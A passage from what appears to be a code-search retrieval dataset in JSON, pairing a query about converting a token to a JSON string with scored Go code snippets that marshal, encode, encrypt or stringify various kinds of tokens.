err\n\t\t}\n\t\tvariableDefinitions = append(variableDefinitions, variableDefinition)\n\n\t\tstop, err := p.skip(token.KindRightParen)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t} else if stop {\n\t\t\tbreak\n\t\t}\n\n\t\t// Continue parsing a VariableDefinition node.\n\t}\n\n\treturn variableDefinitions, nil\n}", "title": "" }, { "docid": "70e05dbe2abb17deda630fffb5976fbd", "score": "0.49258202", "text": "func (f DefinitionVisitActionFunc) VisitDefinition(node ast.Definition, ctx interface{}) Result {\n\treturn f(node, ctx)\n}", "title": "" }, { "docid": "9a9ec07d6c6bd6a4b50c72b9346d5f68", "score": "0.49185112", "text": "func (p parser) accept_var() (parser, *VARIABLE, error) {\n\tif eof(p) {\n\t\treturn p, nil, nil\n\t}\n\tpanic(\"!implemented\")\n}", "title": "" }, { "docid": "3fbde5be2ed164ebbeeb618104b0d3e4", "score": "0.4912835", "text": "func (p *parser) parseVariable() (ast.Variable, error) {\n\tif _, err := p.expect(token.KindDollar); err != nil {\n\t\treturn ast.Variable{}, err\n\t}\n\n\tname, err := p.parseName()\n\tif err != nil {\n\t\treturn ast.Variable{}, err\n\t}\n\n\treturn ast.Variable{\n\t\tName: name,\n\t}, nil\n}", "title": "" }, { "docid": "d4b9ad56044ed79c3f4bf0b487abf105", "score": "0.49101564", "text": "func (s *BasepowerbuilderParserListener) ExitVariable_decl_sub(ctx *Variable_decl_subContext) {}", "title": "" }, { "docid": "876b9f44e8bb0389eed54bf0aab75fe0", "score": "0.49101293", "text": "func parseVariable(l *lexer) *ast.Variable {\n\tloc := l.location()\n\tl.advance(token.DOLLAR)\n\treturn &ast.Variable{Kind: kinds.Variable, Name: parseName(l), Loc: loc}\n}", "title": "" }, { "docid": "8dd134b30a238b5ced3d3e0a5aad1aa9", "score": "0.4909742", "text": "func (s *BaseSV2017ParserListener) EnterFor_variable_declaration_var_assign(ctx *For_variable_declaration_var_assignContext) {\n}", "title": "" }, { "docid": "0afb541c80c3e766ff25ef40a1edc411", "score": "0.48948964", "text": "func (s *BaseSV2017ParserListener) EnterGenvar_expression(ctx *Genvar_expressionContext) {}", "title": "" }, { "docid": "60aa90f484256aa7585ad003a547428b", "score": "0.48868287", "text": "func (s *BaseECMAScriptListener) EnterForVarStatement(ctx *ForVarStatementContext) {}", "title": "" }, { "docid": "0ab3092f405de605079f99d28306317c", "score": "0.48772994", "text": "func Var(v FlagValue, name string, usage string) {\n\tfd := &varFlagDef{\n\t\tname: name,\n\t\tusage: usage,\n\t\tvalue: v,\n\t}\n\tflagMap[name] = fd\n}", "title": "" }, { "docid": "84e3a0d37a10f9e16a2a8fd8fbc9d405", "score": "0.4876655", "text": "func UA_Client_addVariableNode(client []UA_Client, requestedNewNodeId UA_NodeId, parentNodeId UA_NodeId, referenceTypeId UA_NodeId, browseName UA_QualifiedName, typeDefinition UA_NodeId, attr UA_VariableAttributes, outNewNodeId []UA_NodeId) UA_StatusCode {\n\treturn __UA_Client_addNode(client, UA_NODECLASS_VARIABLE, requestedNewNodeId, parentNodeId, referenceTypeId, browseName, typeDefinition, (*[100000000]UA_VariableAttributes)(unsafe.Pointer(&attr))[:], (*[100000000]UA_DataType)(unsafe.Pointer(&UA_TYPES[35]))[:], outNewNodeId)\n}", "title": "" }, { "docid": "e5053745c1b0672b82eac1a60fd49993", "score": "0.48766395", "text": "func substituteVariable(src, replacement string) string {\n\treturn valueVariableRegex.ReplaceAllLiteralString(src, replacement)\n}", "title": "" }, { "docid": "66dc7b844b59831066005cc0fc9f1ba9", "score": "0.48542592", "text": "func (s *BaseVerilogParserListener) EnterVariable_assignment(ctx *Variable_assignmentContext) {}", "title": "" }, { "docid": "c03ccbd2ae7b7944829bb34618f0cf18", "score": "0.48448086", "text": "func UA_Server_addVariableTypeNode(server []UA_Server, requestedNewNodeId UA_NodeId, parentNodeId UA_NodeId, referenceTypeId UA_NodeId, browseName UA_QualifiedName, typeDefinition UA_NodeId, attr UA_VariableTypeAttributes, nodeContext interface{}, outNewNodeId []UA_NodeId) UA_StatusCode {\n\treturn __UA_Server_addNode(server, UA_NODECLASS_VARIABLETYPE, (*[100000000]UA_NodeId)(unsafe.Pointer(&requestedNewNodeId))[:], (*[100000000]UA_NodeId)(unsafe.Pointer(&parentNodeId))[:], (*[100000000]UA_NodeId)(unsafe.Pointer(&referenceTypeId))[:], browseName, (*[100000000]UA_NodeId)(unsafe.Pointer(&typeDefinition))[:], (*[100000000]UA_VariableTypeAttributes)(unsafe.Pointer(&attr))[:], (*[100000000]UA_DataType)(unsafe.Pointer(&UA_TYPES[116]))[:], nodeContext, outNewNodeId)\n}", "title": "" }, { "docid": "08bac1be5d8d3e6c0dde914ec3385aaf", "score": "0.48411834", "text": "func Var(value Value, name string, usage string) {\n\tConfiguration.Var(value, name, usage)\n}", "title": "" }, { "docid": "efe08217aaf529a75258dc883ca835b8", "score": "0.4838922", "text": "func (c *Clause) FloatVar(target *float64) {\n\tc.Float64Var(target)\n}", "title": "" }, { "docid": "a8b30a39fe3a6a4256b544f616fa1879", "score": "0.48231697", "text": "func Var(name string, dest *string, fn ScanFn) func(s string) (string, error) {\n\treturn func(c string) (string, error) {\n\t\tt, err := fn(c)\n\t\tif err != nil {\n\t\t\treturn t, fmt.Errorf(\"%s: %w\", name, err)\n\t\t}\n\t\tif t != \"\" {\n\t\t\t*dest = t\n\t\t}\n\t\treturn t, err\n\t}\n}", "title": "" }, { "docid": "b259a8864ffb0078675d73fd84fd84c0", "score": "0.48230967", "text": "func (s *BaseFGListener) ExitVariable(ctx *VariableContext) {}", "title": "" }, { "docid": "1e0da4f8d82aca38cb8eb3c438001e24", "score": "0.48210642", "text": "func (r *TemplatedSecretReconciler) parseVariable(ts *k8sv1alpha1.TemplatedSecret, match string) *Variable {\n\tparts := strings.Split(match[2:len(match)-1], \">\")\n\n\tif len(parts) == 2 {\n\t\treturn &Variable{\n\t\t\tNamespace: ts.Namespace,\n\t\t\tSecretRef: strings.TrimSpace(parts[0]),\n\t\t\tKey: strings.TrimSpace(parts[1]),\n\t\t}\n\t} else if len(parts) == 3 {\n\t\treturn &Variable{\n\t\t\tNamespace: strings.TrimSpace(parts[0]),\n\t\t\tSecretRef: strings.TrimSpace(parts[1]),\n\t\t\tKey: strings.TrimSpace(parts[2]),\n\t\t}\n\t} else {\n\t\t// Incomplete variable.\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "aa8287960ae81a536bebb199b2d797f6", "score": "0.48138362", "text": "func validateVariables(source string, typeMap map[string]*gqlType, defns *gqlang.VariableDefinitions) (map[string]*validatedVariable, []error) {\n\tif defns == nil {\n\t\treturn nil, nil\n\t}\n\tvariablesByName := make(map[string][]gqlang.Pos)\n\tresult := make(map[string]*validatedVariable)\n\tvar errs []error\n\tfor _, defn := range defns.Defs {\n\t\tname := defn.Var.Name.Value\n\t\tvariablesByName[name] = append(variablesByName[name], defn.Var.Dollar)\n\n\t\t// https://graphql.github.io/graphql-spec/June2018/#sec-Variables-Are-Input-Types\n\t\ttyp := resolveTypeRef(typeMap, defn.Type)\n\t\tif typ == nil {\n\t\t\terrs = append(errs, &ResponseError{\n\t\t\t\tMessage: fmt.Sprintf(\"undefined type %v\", defn.Type),\n\t\t\t\tLocations: []Location{\n\t\t\t\t\tastPositionToLocation(defn.Type.Start().ToPosition(source)),\n\t\t\t\t},\n\t\t\t})\n\t\t\tcontinue\n\t\t}\n\t\tif !typ.isInputType() {\n\t\t\terrs = append(errs, &ResponseError{\n\t\t\t\tMessage: fmt.Sprintf(\"%v is not an input type\", defn.Type),\n\t\t\t\tLocations: []Location{\n\t\t\t\t\tastPositionToLocation(defn.Type.Start().ToPosition(source)),\n\t\t\t\t},\n\t\t\t})\n\t\t\tcontinue\n\t\t}\n\t\tvv := &validatedVariable{\n\t\t\tname: name,\n\t\t\tdefaultValue: Value{typ: typ},\n\t\t}\n\t\tresult[name] = vv\n\t\tif defn.Default != nil {\n\t\t\tdefaultErrs := validateConstantValue(source, typ, defn.Default.Value)\n\t\t\tif len(defaultErrs) > 0 {\n\t\t\t\tfor _, err := range defaultErrs {\n\t\t\t\t\terrs = append(errs, xerrors.Errorf(\"variable $%s: %w\", name, err))\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tvv.defaultValue = coerceConstantInputValue(typ, defn.Default.Value)\n\t\t}\n\t}\n\n\t// https://graphql.github.io/graphql-spec/June2018/#sec-Variable-Uniqueness\n\tfor _, defn := range defns.Defs {\n\t\tname := defn.Var.Name.Value\n\t\tposList := variablesByName[name]\n\t\tif defn.Var.Dollar != posList[0] {\n\t\t\tcontinue\n\t\t}\n\t\tif len(posList) > 1 {\n\t\t\terrs = append(errs, &ResponseError{\n\t\t\t\tMessage: fmt.Sprintf(\"multiple variables with name %q\", name),\n\t\t\t\tLocations: posListToLocationList(source, posList),\n\t\t\t})\n\t\t}\n\t}\n\tif len(errs) > 0 {\n\t\treturn nil, errs\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "ac545932dddc2087ac2fe4a53facd90c", "score": "0.48106936", "text": "func (s *BaseVerilogParserListener) EnterGenvar_expression(ctx *Genvar_expressionContext) {}", "title": "" }, { "docid": "48e85832ccdf319ccc45e31ee33cc006", "score": "0.4807533", "text": "func (s *BaseagcListener) EnterVariable(ctx *VariableContext) {}", "title": "" }, { "docid": "8b725cfc81ff1deb745b0c5aa6ca9bb7", "score": "0.48071036", "text": "func (p *parser) parseVariableOrFn() (*chunk, error) {\n\ttk, e := p.scanner.scanToken()\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\tif tk.kind != TOKEN_IDENT {\n\t\treturn nil, newTemplateError(fmt.Sprintf(\"Expected identifier for a variable or function, got '%s'\", tk.printable()), p.scanner)\n\t}\n\n\t// check for open parentheses, this indicates a function call. An error from the scanner indicates that\n\t// what follows might not be in template, so return the var\n\ttk2, e := p.scanner.scanToken()\n\n\tvar params *chunk\n\tvar chained *chunk\n\n\tif e == nil {\n\t\tif tk2.isSym(\"(\") {\n\t\t\tparams, e = p.parseExpressionList(true)\n\t\t\tif e != nil {\n\t\t\t\treturn nil, e\n\t\t\t}\n\t\t\te = p.expectSym(\")\")\n\t\t\tif e != nil {\n\t\t\t\treturn nil, e\n\t\t\t}\n\t\t} else {\n\t\t\tp.scanner.putBack(tk2)\n\t\t}\n\t}\n\n\t// at this point, tk.value is the name; params is nil for a variable, and a chunkBlock for a function, representing parameters\n\n\t// check if there is a \".\"\n\ttk3, e := p.scanner.scanToken()\n\n\tif e == nil {\n\t\tif tk3.isSym(\".\") {\n\t\t\tchained, e = p.parseVariableOrFn()\n\t\t\tif e != nil {\n\t\t\t\treturn nil, e\n\t\t\t}\n\t\t} else {\n\t\t\tp.scanner.putBack(tk3)\n\t\t}\n\t}\n\n\t// $Layout is a special case. It's just an empty chunk.\n\tif tk.value == \"Layout\" && p.mainTemplate {\n\t\treturn newChunk(CHUNK_LAYOUT, p.scanner), nil\n\t}\n\n\treturn newChunkExprVarFunc(tk.value, params, chained, p.scanner), nil\n}", "title": "" }, { "docid": "08b40be52c3065d234c863efe68c78d4", "score": "0.4804695", "text": "func Variable(v string) Var {\n\treturn Var{\n\t\tName: v,\n\t}\n}", "title": "" }, { "docid": "38fb300e71fecfd4cf5aaf396a02cbbf", "score": "0.48029172", "text": "func (s *BaseSV2017ParserListener) ExitAssertion_variable_declaration(ctx *Assertion_variable_declarationContext) {\n}", "title": "" }, { "docid": "8b2aa9e5500cd11e3378a34ba08b31f9", "score": "0.47964758", "text": "func (s *BaseSV2017ParserListener) EnterVariable_assignment(ctx *Variable_assignmentContext) {}", "title": "" }, { "docid": "342883508d50a0da829f61c28fb1b354", "score": "0.47906545", "text": "func NewVarNode(id Attrib) (Attrib, error) {\n\treturn &VarNode{string(id.(*token.Token).Lit)}, nil\n}", "title": "" }, { "docid": "bcbc1fdf43bcf797c70e38e6087c2b36", "score": "0.47853377", "text": "func (cur *Cursor) variableDefineHelper(param *C.OCIParam, position, numElements uint) (v *Variable, err error) {\n\tvar size C.ub4\n\tvar varType *VariableType\n\n\t// determine data type\n\tvarType, err = varTypeByOracleDescriptor(param, cur.environment)\n\tif err != nil {\n\t\tLog.Error(\"error determining data type\", \"param\", param, \"error\", err)\n\t\treturn nil, err\n\t}\n\t// if (cursor->numbersAsStrings && varType == &vt_Float)\n\t// varType = &vt_NumberAsString;\n\n\t// retrieve size of the parameter\n\tsize = C.ub4(varType.size)\n\tif varType.isVariableLength {\n\t\tvar sizeFromOracle C.ub2\n\t\t// determine the maximum length from Oracle\n\t\tif _, err = cur.environment.AttrGet(\n\t\t\tunsafe.Pointer(param), C.OCI_HTYPE_DESCRIBE,\n\t\t\tC.OCI_ATTR_DATA_SIZE, unsafe.Pointer(&sizeFromOracle),\n\t\t\t\"data size\",\n\t\t); err != nil {\n\t\t\tLog.Error(\"error getting data size\", \"param\", param, \"error\", err)\n\t\t\treturn nil, err\n\t\t}\n\t\tif CTrace {\n\t\t\tctrace(\"size of %p[%s] @ %d: %d\", param, varType, position, sizeFromOracle)\n\t\t}\n\n\t\t// use the length from Oracle directly if available\n\t\tif uint(sizeFromOracle) > 0 {\n\t\t\tsize = C.ub4(sizeFromOracle)\n\t\t} else if cur.outputSize >= 0 {\n\t\t\t// otherwise, use the value set with the setoutputsize() parameter\n\t\t\tif cur.outputSizeColumn < 0 ||\n\t\t\t\tint(position) == cur.outputSizeColumn {\n\t\t\t\tsize = C.ub4(cur.outputSize)\n\t\t\t}\n\t\t}\n\t}\n\n\t// create a variable of the correct type\n\t/*\n\t if cur.outputTypeHandler && cursor->outputTypeHandler != Py_None)\n\t var = Variable_NewByOutputTypeHandler(cursor, param,\n\t cursor->outputTypeHandler, varType, size, numElements);\n\t else if (cursor->connection->outputTypeHandler &&\n\t cursor->connection->outputTypeHandler != Py_None)\n\t var = Variable_NewByOutputTypeHandler(cursor, param,\n\t cursor->connection->outputTypeHandler, varType, size,\n\t numElements);\n\t else\n\t*/\n\t//log.Printf(\"varType=%#v size=%d\", varType, size)\n\tv, err = cur.NewVariable(numElements, varType, uint(size))\n\tif err != nil {\n\t\treturn nil, errgo.Newf(\"error creating variable: %s\", err)\n\t}\n\n\t// call the procedure to set values prior to define\n\tif v.typ.preDefine != nil {\n\t\tif err = v.typ.preDefine(v, param); err != nil {\n\t\t\treturn nil, errgo.Newf(\"error with preDefine(%s): %s\", v, err)\n\t\t}\n\t}\n\n\t// perform the define\n\t//log.Printf(\"v=%#v\", v)\n\tindic, aL, rC := v.aLrC()\n\tif CTrace {\n\t\tctrace(\"OCIDefineByPos(cur=%p, defineHandle=%p, env=%p, position=%d, dataArr=%v, bufferSize=%d, oracleType=%d indicator=%v, aL=%v rC=%v, DEFAULT)\",\n\t\t\tcur.handle, &v.defineHandle, v.environment.errorHandle,\n\t\t\tposition, v.getDataArr(), v.bufferSize, v.typ.oracleType, v.indicator,\n\t\t\taL, rC)\n\t}\n\tif err = cur.environment.CheckStatus(\n\t\tC.OCIDEFINEBYPOS(cur.handle,\n\t\t\t&v.defineHandle,\n\t\t\tv.environment.errorHandle, C.ub4(position), v.getDataArr(),\n\t\t\tC.LENGTH_TYPE(v.bufferSize), v.typ.oracleType,\n\t\t\tindic, aL, rC, C.OCI_DEFAULT),\n\t\t\"define\"); err != nil {\n\t\treturn nil, errgo.Newf(\"error defining: %s\", err)\n\t}\n\n\t// call the procedure to set values after define\n\tif v.typ.postDefine != nil {\n\t\tif err = v.typ.postDefine(v); err != nil {\n\t\t\treturn nil, errgo.Newf(\"error with postDefine(%s): %s\", v, err)\n\t\t}\n\t}\n\n\treturn v, nil\n}", "title": "" }, { "docid": "812a1fe47539f613427341dd6bc1edab", "score": "0.47821873", "text": "func checkVar(t *testing.T, got *dap.VariablesResponse, i int, name, evalName, value, typ string, useExactMatch, hasRef bool, indexed, named int) (ref int) {\n\tt.Helper()\n\tif len(got.Body.Variables) <= i {\n\t\tt.Errorf(\"\\ngot len=%d (children=%#v)\\nwant len>%d\", len(got.Body.Variables), got.Body.Variables, i)\n\t\treturn\n\t}\n\tif i < 0 {\n\t\tfor vi, v := range got.Body.Variables {\n\t\t\tif v.Name == name {\n\t\t\t\ti = vi\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\tif i < 0 {\n\t\tt.Errorf(\"\\ngot %#v\\nwant Variables[i].Name=%q (not found)\", got, name)\n\t\treturn 0\n\t}\n\n\tgoti := got.Body.Variables[i]\n\tmatchedName := false\n\tif useExactMatch {\n\t\tif strings.HasPrefix(name, \"~r\") {\n\t\t\tmatchedName = strings.HasPrefix(goti.Name, \"~r\")\n\t\t} else {\n\t\t\tmatchedName = (goti.Name == name)\n\t\t}\n\t} else {\n\t\tmatchedName, _ = regexp.MatchString(name, goti.Name)\n\t}\n\tif !matchedName || (goti.VariablesReference > 0) != hasRef {\n\t\tt.Errorf(\"\\ngot %#v\\nwant Name=%q hasRef=%t\", goti, name, hasRef)\n\t}\n\tmatchedEvalName := false\n\tif useExactMatch {\n\t\tmatchedEvalName = (goti.EvaluateName == evalName)\n\t} else {\n\t\tmatchedEvalName, _ = regexp.MatchString(evalName, goti.EvaluateName)\n\t}\n\tif !matchedEvalName {\n\t\tt.Errorf(\"\\ngot %q\\nwant EvaluateName=%q\", goti.EvaluateName, evalName)\n\t}\n\tmatchedValue := false\n\tif useExactMatch {\n\t\tmatchedValue = (goti.Value == value)\n\t} else {\n\t\tmatchedValue, _ = regexp.MatchString(value, goti.Value)\n\t}\n\tif !matchedValue {\n\t\tt.Errorf(\"\\ngot %s=%q\\nwant %q\", name, goti.Value, value)\n\t}\n\tmatchedType := false\n\tif useExactMatch {\n\t\tmatchedType = (goti.Type == typ)\n\t} else {\n\t\tmatchedType, _ = regexp.MatchString(typ, goti.Type)\n\t}\n\tif !matchedType {\n\t\tt.Errorf(\"\\ngot %s=%q\\nwant %q\", name, goti.Type, typ)\n\t}\n\tif indexed >= 0 && goti.IndexedVariables != indexed {\n\t\tt.Errorf(\"\\ngot %s=%d indexed\\nwant %d indexed\", name, goti.IndexedVariables, indexed)\n\t}\n\tif named >= 0 && goti.NamedVariables != named {\n\t\tt.Errorf(\"\\ngot %s=%d named\\nwant %d named\", name, goti.NamedVariables, named)\n\t}\n\treturn goti.VariablesReference\n}", "title": "" }, { "docid": "330dbc149f1f7305ebaf0cc0b35a3109", "score": "0.4781185", "text": "func (s *VariableService) CreateVariable(ctx context.Context, v *influxdb.Variable) error {\n\tif _, _, err := AuthorizeCreate(ctx, influxdb.VariablesResourceType, v.OrganizationID); err != nil {\n\t\treturn err\n\t}\n\treturn s.s.CreateVariable(ctx, v)\n}", "title": "" }, { "docid": "7b7fb3ff18cf7513657c782c22920564", "score": "0.47776192", "text": "func (s *BaseSV2017ParserListener) ExitVariable_decl_assignment(ctx *Variable_decl_assignmentContext) {\n}", "title": "" }, { "docid": "5f4c6d49e58d4dda449c742ffffb0c63", "score": "0.4768295", "text": "func (s *BaseSystemVerilogParserListener) EnterVariable_assignment(ctx *Variable_assignmentContext) {}", "title": "" }, { "docid": "3f077277daef5a2941e89dae7d7a803a", "score": "0.47674927", "text": "func (u Universe) Variable(n Name) *Type {\n\treturn u.Package(n.Package).Variable(n.Name)\n}", "title": "" }, { "docid": "73f429631c53f23c0b1f38d450fdf040", "score": "0.4757146", "text": "func validateVariableUsage(v *validationScope, defns *gqlang.VariableDefinitions) []error {\n\tif defns == nil {\n\t\treturn nil\n\t}\n\tvar errs []error\n\tfor _, defn := range defns.Defs {\n\t\tname := defn.Var.Name.Value\n\t\tif !v.variables[name].used {\n\t\t\terrs = append(errs, &ResponseError{\n\t\t\t\tMessage: fmt.Sprintf(\"unused variable $%s\", name),\n\t\t\t\tLocations: []Location{\n\t\t\t\t\tastPositionToLocation(defn.Var.Dollar.ToPosition(v.source)),\n\t\t\t\t},\n\t\t\t})\n\t\t}\n\t}\n\treturn errs\n}", "title": "" }, { "docid": "8d81abc6509f4c777dd39239262a411b", "score": "0.47552383", "text": "func (s *BasevbaListener) EnterVariableStmt(ctx *VariableStmtContext) {}", "title": "" } ]
a06f675f7fbcb2ac572f4e563770b4f6
TokenToString marshals a token into it's JSON representation
[ { "docid": "dc973fcf9648025b4d0275ec76ad7275", "score": "0.8009821", "text": "func TokenToString(t token.Token) string {\n\tjsonToken, err := json.Marshal(t)\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\n\treturn string(jsonToken)\n}", "title": "" } ]
[ { "docid": "c6eeb657882b7fbd332216e4ac606774", "score": "0.7159139", "text": "func StringifyToken(tk *Token) string {\n\treturn stringifyToken(tk)\n}", "title": "" }, { "docid": "2b7a518809065100ce3f6885154e17f6", "score": "0.6942454", "text": "func tokenToString(token int) string {\n\toutput := \"\"\n\n\tif token & STRING == STRING {\n\t\toutput = \"string \"\n\t}\n\tif token & J_TRUE == J_TRUE {\n\t\toutput += \"true \"\n\t}\n\tif token & J_FALSE == J_FALSE {\n\t\toutput += \"false \"\n\t}\n\tif token & NUMBER == NUMBER {\n\t\toutput += \"NUMBER \"\n\t}\n\tif token & BEGIN_ARRAY == BEGIN_ARRAY {\n\t\toutput += \"BEGIN_ARRAY \"\n\t}\n\tif token & END_ARRAY == END_ARRAY {\n\t\toutput += \"END_ARRAY \"\n\t}\n\tif token & BEGIN_OBJECT == BEGIN_OBJECT {\n\t\toutput += \"BEGIN_OBJECT \"\n\t}\n\tif token & END_OBJECT == END_OBJECT {\n\t\toutput += \"END_OBJECT \"\n\t}\n\tif token & VALUE_SEPARATOR == VALUE_SEPARATOR {\n\t\toutput += \"VALUE_SEPARATOR \"\n\t}\n\tif token & NAME_SEPARATOR == NAME_SEPARATOR {\n\t\toutput += \"NAME_SEPARATOR \"\n\t}\n\tif token & J_NULL == J_NULL {\n\t\toutput += \"NULL \"\n\t}\n\tif token & END_OF_SOURCE == END_OF_SOURCE {\n\t\toutput += \"END_OF_SOURCE \"\n\t}\n\tif output == \"\" {\n\t\toutput = \"UNKNOWN\"\n\t}\n\n\toutput = strings.TrimSuffix(output, \" \")\n\toutput = strings.Replace(output, \" \", \" | \", -1)\n\n\treturn output\n}", "title": "" }, { "docid": "88f6c2420663fb7bc37ca36b7332412b", "score": "0.68790233", "text": "func (t *Token) ToJSON() string {\n\tv, e := json.Marshal(t)\n\tif e != nil {\n\t\treturn \"\"\n\t}\n\treturn string(v)\n}", "title": "" }, { "docid": "8ad6f41eab62b533f44e20c77e9b5a4c", "score": "0.67927384", "text": "func (t Token) String() (s string) {\n\ts += \"{\"\n\t\n\ts += t.Type.String() + \", \"\n\t\n\ts += fmt.Sprint(t.Value)\n\t\n\ts += \"}\"\n\n\treturn\n}", "title": "" }, { "docid": "0a11f05e507ab500212b4b71b5d00efa", "score": "0.66062707", "text": "func (t Token) String() string {\n\tvar buf bytes.Buffer\n\tif err := gob.NewEncoder(&buf).Encode(t); err != nil {\n\t\treturn \"\"\n\t}\n\treturn base64.URLEncoding.EncodeToString(buf.Bytes())\n}", "title": "" }, { "docid": "8cc546714785b7930075574262e5b93c", "score": "0.6486244", "text": "func marshalToken(user *corev1beta1.UserToken) (string, error) {\n\tb, err := proto.Marshal(user)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"couldn't marshal user token to proto: %w\", err)\n\t}\n\treturn base64.RawURLEncoding.EncodeToString(b), nil\n}", "title": "" }, { "docid": "019f48e7beab219ec346d7d9b06d98b3", "score": "0.64088106", "text": "func TokenMarshal(v interface{}, key string) ([]byte, error) {\n\tvar buf bytes.Buffer\n\terr := json.NewEncoder(&buf).Encode(v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tk, err := fernet.DecodeKey(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn fernet.EncryptAndSign(buf.Bytes(), k)\n}", "title": "" }, { "docid": "a12e9afe345ad2f8244f635bdd18f835", "score": "0.61414886", "text": "func (jwt *jwt) String() string {\n\treturn jwt.token\n}", "title": "" }, { "docid": "2445ccd14474139c0de0dc7a38101d26", "score": "0.614018", "text": "func (t *Token) MarshalJSON() ([]byte, error) {\n\treturn (*session.SessionToken)(t).\n\t\tMarshalJSON()\n}", "title": "" }, { "docid": "54eadbed21f96f8e1e75bead15012fcc", "score": "0.61315197", "text": "func EncoderEncodeToken(enc *xml.Encoder, t xml.Token,) error", "title": "" }, { "docid": "a666e03e2194461121e5b10e044cb70b", "score": "0.6103008", "text": "func TokenToJson(ctx context.Context, outhToken *oauth2.Token) (string, error) {\n\tstr := outhToken.Extra(\"expires_in\")\n\tvar expiresIn interface{}\n\tvar refreshExpiresIn interface{}\n\tvar err error\n\texpiresIn, err = token.NumberToInt(str)\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"expires_in\": str,\n\t\t\t\"err\": err,\n\t\t}, \"unable to parse expires_in claim\")\n\t\treturn \"\", errs.WithStack(err)\n\t}\n\tstr = outhToken.Extra(\"refresh_expires_in\")\n\trefreshExpiresIn, err = token.NumberToInt(str)\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"refresh_expires_in\": str,\n\t\t\t\"err\": err,\n\t\t}, \"unable to parse expires_in claim\")\n\t\treturn \"\", errs.WithStack(err)\n\t}\n\ttokenData := &app.TokenData{\n\t\tAccessToken: &outhToken.AccessToken,\n\t\tRefreshToken: &outhToken.RefreshToken,\n\t\tTokenType: &outhToken.TokenType,\n\t\tExpiresIn: &expiresIn,\n\t\tRefreshExpiresIn: &refreshExpiresIn,\n\t}\n\tb, err := json.Marshal(tokenData)\n\tif err != nil {\n\t\treturn \"\", errs.WithStack(err)\n\t}\n\n\treturn string(b), nil\n}", "title": "" }, { "docid": "90ee80611627f461b966ee6a14e18899", "score": "0.6014603", "text": "func (tok Token) String() string {\n\tbs := make([]byte, TokenLength)\n\tcopy(bs, tok[:])\n\treturn base58.Encode(bs)\n}", "title": "" }, { "docid": "63518a5c3d93c3486dbff65cfbeec8ef", "score": "0.60028005", "text": "func (credInfo OAuthTokenInfo) toJSON() ([]byte, error) {\n\treturn json.Marshal(credInfo)\n}", "title": "" }, { "docid": "cb20e608d44a9f0cfc02e01b01f1aa69", "score": "0.59507656", "text": "func tokenToObjectName(token string) string {\n\tname := strings.TrimPrefix(token, sha256Prefix)\n\th := sha256.Sum256([]byte(name))\n\treturn sha256Prefix + base64.RawURLEncoding.EncodeToString(h[0:])\n}", "title": "" }, { "docid": "8bdb991d02474517abe112729a149afa", "score": "0.5945188", "text": "func (token Token) Encode() (b []byte, err error) {\n\tb, err = json.Marshal(token)\n\treturn\n}", "title": "" }, { "docid": "3b7deb30c46c091f93483220e7192898", "score": "0.5849392", "text": "func (c *Crypto) serialize(token linkTokenInternal) string {\n\treturn c.encrypt(string(token.MarshalBinary()))\n}", "title": "" }, { "docid": "12a90160931937b3ee8fbfa956f0c424", "score": "0.5829019", "text": "func EncodeToken(password string, ci blob.ConnectionInfo) (string, error) {\n\tti := &tokenInfo{\n\t\tVersion: \"1\",\n\t\tStorage: ci,\n\t\tPassword: password,\n\t}\n\n\tv, err := json.Marshal(ti)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"marshal token\")\n\t}\n\n\treturn base64.RawURLEncoding.EncodeToString(v), nil\n}", "title": "" }, { "docid": "95750cc87534e0fd0cd95fd2e6bc0a2c", "score": "0.58248633", "text": "func (sessionToken SessionToken) String() string {\n\treturn string(sessionToken)\n}", "title": "" }, { "docid": "c53507b0fa9029d3d5e4482fdb40b565", "score": "0.581153", "text": "func (s GetAuthorizationTokenInput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e7b5050fd1bda8b0666ec6f8c97e1e7b", "score": "0.5801321", "text": "func (t *Token) String() string {\n\treturn fmt.Sprintf(\"%d %q %d (%d, %d)-(%d, %d)\", t.Type, t.Value, t.TC, t.StartLine, t.StartColumn, t.EndLine, t.EndColumn)\n}", "title": "" }, { "docid": "9bf35393dfdfb35f8ad0b1452b4822cc", "score": "0.57330877", "text": "func TokenToString (id uint64) string {\n var retStr string = \"\";\n var strBuf string = \"\";\n\n if id == TOKEN_IDENTIFIER {\n retStr = \"<identifier> (value: \";\n libgogo.StringAppend(&retStr, tok.strValue);\n libgogo.CharAppend(&retStr,')');\n }\n if id == TOKEN_STRING {\n retStr = \"<string> (value: \";\n libgogo.StringAppend(&retStr, tok.strValue);\n libgogo.CharAppend(&retStr,')');\n }\n if id == TOKEN_EOS {\n retStr = \"<END-OF-SCAN>\";\n }\n if id == TOKEN_LBRAC {\n retStr = \"(\";\n }\n if id == TOKEN_RBRAC {\n retStr = \")\";\n }\n if id == TOKEN_LSBRAC {\n retStr = \"[\";\n }\n if id == TOKEN_RSBRAC {\n retStr = \"]\";\n }\n if id == TOKEN_INTEGER {\n retStr = \"<integer> (value: \";\n strBuf = libgogo.IntToString(tok.intValue);\n libgogo.StringAppend(&retStr, strBuf);\n libgogo.CharAppend(&retStr,')');\n }\n if id == TOKEN_LCBRAC {\n retStr = \"{\";\n }\n if id == TOKEN_RCBRAC {\n retStr = \"}\";\n }\n if id == TOKEN_PT {\n retStr = \".\";\n }\n if id == TOKEN_NOT {\n retStr = \"!\";\n }\n if id == TOKEN_NOTEQUAL {\n retStr = \"!=\";\n }\n if id == TOKEN_SEMICOLON {\n retStr = \";\";\n }\n if id == TOKEN_COLON {\n retStr = \",\";\n }\n if id == TOKEN_ASSIGN {\n retStr = \"=\";\n }\n if id == TOKEN_EQUALS {\n retStr = \"==\";\n }\n if id == TOKEN_CHAR {\n retStr = \"'<char>'\";\n }\n if id == TOKEN_REL_AND {\n retStr = \"&&\";\n }\n if id == 